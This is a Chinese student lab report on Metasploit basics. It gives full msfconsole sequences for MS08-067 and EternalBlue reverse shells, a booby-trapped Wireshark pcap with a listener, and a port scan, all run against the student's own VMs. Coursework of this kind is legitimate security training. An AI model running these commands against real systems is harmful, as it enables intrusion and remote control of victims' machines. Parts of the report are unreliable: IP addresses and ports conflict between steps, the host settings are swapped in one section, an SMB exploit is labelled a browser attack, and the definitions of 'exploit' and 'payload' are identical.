网络对抗 Exp6 MSF应用基础
一、实践内容
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
- 一个主动攻击实践,尽量使用最新的类似漏洞;
- 一个针对浏览器的攻击,尽量使用最新的类似漏洞;
- 一个针对客户端的攻击,如Adobe或office,尽量使用最新的类似漏洞;
- 成功应用任何一个辅助模块。
二、实践原理
-
MSF攻击方法
- 主动攻击:扫描主机漏洞
- 攻击浏览器
- 供给客户端
-
六个模块
-
渗透攻击模块
exploit
- 利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
-
辅助模块
Auxiliary
- 能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
- 主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。
-
攻击载荷
Payload
- 在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。实际上,该模块就是计算机集成的针对不同操作系统实现shellcode攻击的ruby代码。
- 三种payload :Single,Stager,Stages。
-
空字段模块
Nop
:
- 一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90,便于快速确定返回地址的位置
-
编码模块
Encoders
:
- 针对
payload
进行编码,可以通过多种编码手段、多次编码方式有效的改变payload
代码特征
- 针对
-
后渗透攻击模块
Post
:
- 支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
-
-
MSF的三种用户操作界面
- msfconsole
- 查看模块的具体信息info [exploits|auxiliary|post|payloads|encoders|nops]
- 查看设置信息show [options]
- 查看攻击目标类型show [target]
- 查找命令search
- 查找2018年产生的在windows平台下的漏洞search ms18(或CNE:2018) type:exploit platform:windows
- armitage
- 启动服务器service postgresql start
- 启动armitagearmitage
- webgui
- msfconsole
三、实践过程
准备阶段
安装好虚拟机win7和win xp,不能安装太高的版本,版本太高的话有可能导致攻击不成功。安装好之后,关闭虚拟机的防火墙,开启445端口。同时,确认两个虚拟机的主机ip。
关闭防火墙
开启445端口
确认主机IP,
win7的为192.168.242.136
win xp 的为192168.242.135
1、一个主动攻击实践
ms08_067_netapi
-
ms08_067漏洞是著名的远程溢出漏洞。攻击者发送恶意资料到受害机默认开放的SMB服务端口445,通过MSRPC接口调用server服务的一个函数,并破坏程序的栈缓存区,获得远程代码执行权限,从而完全控制主机。
-
靶机:Windows 7
-
攻击机:Kali
-
获取靶机IP地址 192.168.242.136
-
攻击机试探靶机是否存在此漏洞 sudo nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.232.132
-
攻击机打开MSF
sudo msfconsole
search ms08-067 //查看漏洞位置
use exploit/windows/smb/ms08_067_netapi //选择该漏洞
set payload generic/shell_reverse_tcp //设置攻击的载荷
set RHOSTS 192.168.242.136 //靶机IP
set LHOSTS 192.168.242.129 //攻击机IP
exploit //进行攻击
- 获得靶机的cmd,攻击成功!
2、一个针对浏览器的攻击
ms17-010
-
靶机:Windows 7 x64虚拟机的IE浏览器
-
攻击机:Kali
-
在攻击机中打开MSF
sudo msfconsole
search ms17-010 //查看与此漏洞相关的攻击模块
use exploit/windows/smb/ms17_010_eternalblue //选择攻击模块
set payload generic/shell_reverse_tcp //设置攻击载荷
set RHOST 192.168.242.129 //设置靶机IP,端口默认为445
set LPORT 1313 //回连的kali虚拟机端口
set LHOST 192.168.242.136 //设置攻击机IP
exploit //发起渗透攻击
- 来到靶机IP浏览器,输入网址监听端口
http://192.168.242.136:1319
- 获得靶机的cmd,攻击成功!
3、一个针对客户端的攻击
Wireshark
- 靶机:Windows XP
- 攻击机:Kali
- 在XP虚拟机中安装wireshark(版本wireshark1.4.2)
- 在kali中生成利用漏洞的pcap文件
sudo msfconsole //进入控制台
search wireshark //搜索与wireshark有关的漏洞
use exploit/windows/fileformat/wireshark_packet_dect //选择使用此漏洞
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
show options //查看需要配置的参数选项
set LHOST 192.168.242.129 //kali的IP
set LPORT 1319 //设置端口号
set FILENAME br.pcap //设置生成的pcap文件名
exploit //生成.pcap文件
- 将生成的pcap文件复制到XP虚拟机中
- 在Kali中开启监听
sudo msfconsole
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
show options //查看需要配置的参数选项
set LHOST 192.168.242.129 //kali的IP
set LPORT 1313 //设置监听的端口号
exploit //开启监听
-
在靶机中用Wireshark打开文件
-
攻击成功!
4、成功应用一个辅助模块
portscan端口扫描
- 靶机:Windows XP
- 攻击机:Kali
- 在Kali中打开MSF
search portscan //搜索与端口扫描相关的模块
use auxiliary/scanner/portscan/tcp //使用此辅助模块扫描靶机tcp端口
show options //显示要设置的参数选项
set RHOSTS 192.168.232.131 //设置要扫描的靶机ip
exploit
四、实践问题回答
用自己的话解释什么 是exploit,payload,encode。
- exploit:是exploit中shellcode中的主要功能代码,exploit把它送到靶机中后,是真正负责进行攻击代码。
- payload:是exploit中shellcode中的主要功能代码,exploit把它送到靶机中后,是真正负责进行攻击代码。
- encode:用来改变payload,避免payload中出现漏洞无法处理的字符;其次是为了实现免杀,不让杀毒软件很轻易的就发现payload是攻击代码。
五、离实践还缺什么技术或步骤
本次实践主要说明了信息搜集、把病毒或后门程序输送到期望的目标机在攻击包括防范漏洞攻击的重要性。这次实验花费了大量的时间在验证一个一个的漏洞能不能匹配上我已有环境的版本上,尤其是针对浏览器的攻击,所以我的系统都尽可能准备老一点的,但是还是试过和很多次才做好,也由此可见网络的攻击和防护技术都是与时俱进的,新的系统已经很难用老的漏洞攻击了。经过这次实践,将病毒和后门程序真正展现起作用才是最重要的。除此之外,自己还需要加强解决问题和随机应变分析问题的能力,做到心中有数。
六、实践心得体会
这次实验攻击开展的前提都是已经找到了对应的漏洞,然后去寻找漏洞对应版本的软件或操作系统,最后可以轻易通过Kali的msf中的模块实现攻击。但真实场景下往往都是比较完备的,我们几乎没有轻易找到漏洞的可能。就拿我这几天我在教育部2022年网络攻防演习渗透实战中的尝试一样,已有的系统基本上没有什么明显的漏洞,我们只能尝试通过社工或者若密钥等进入系统内部再进行更深入的攻击,真正想要用Kali实战,我们还有很长的路要走呀。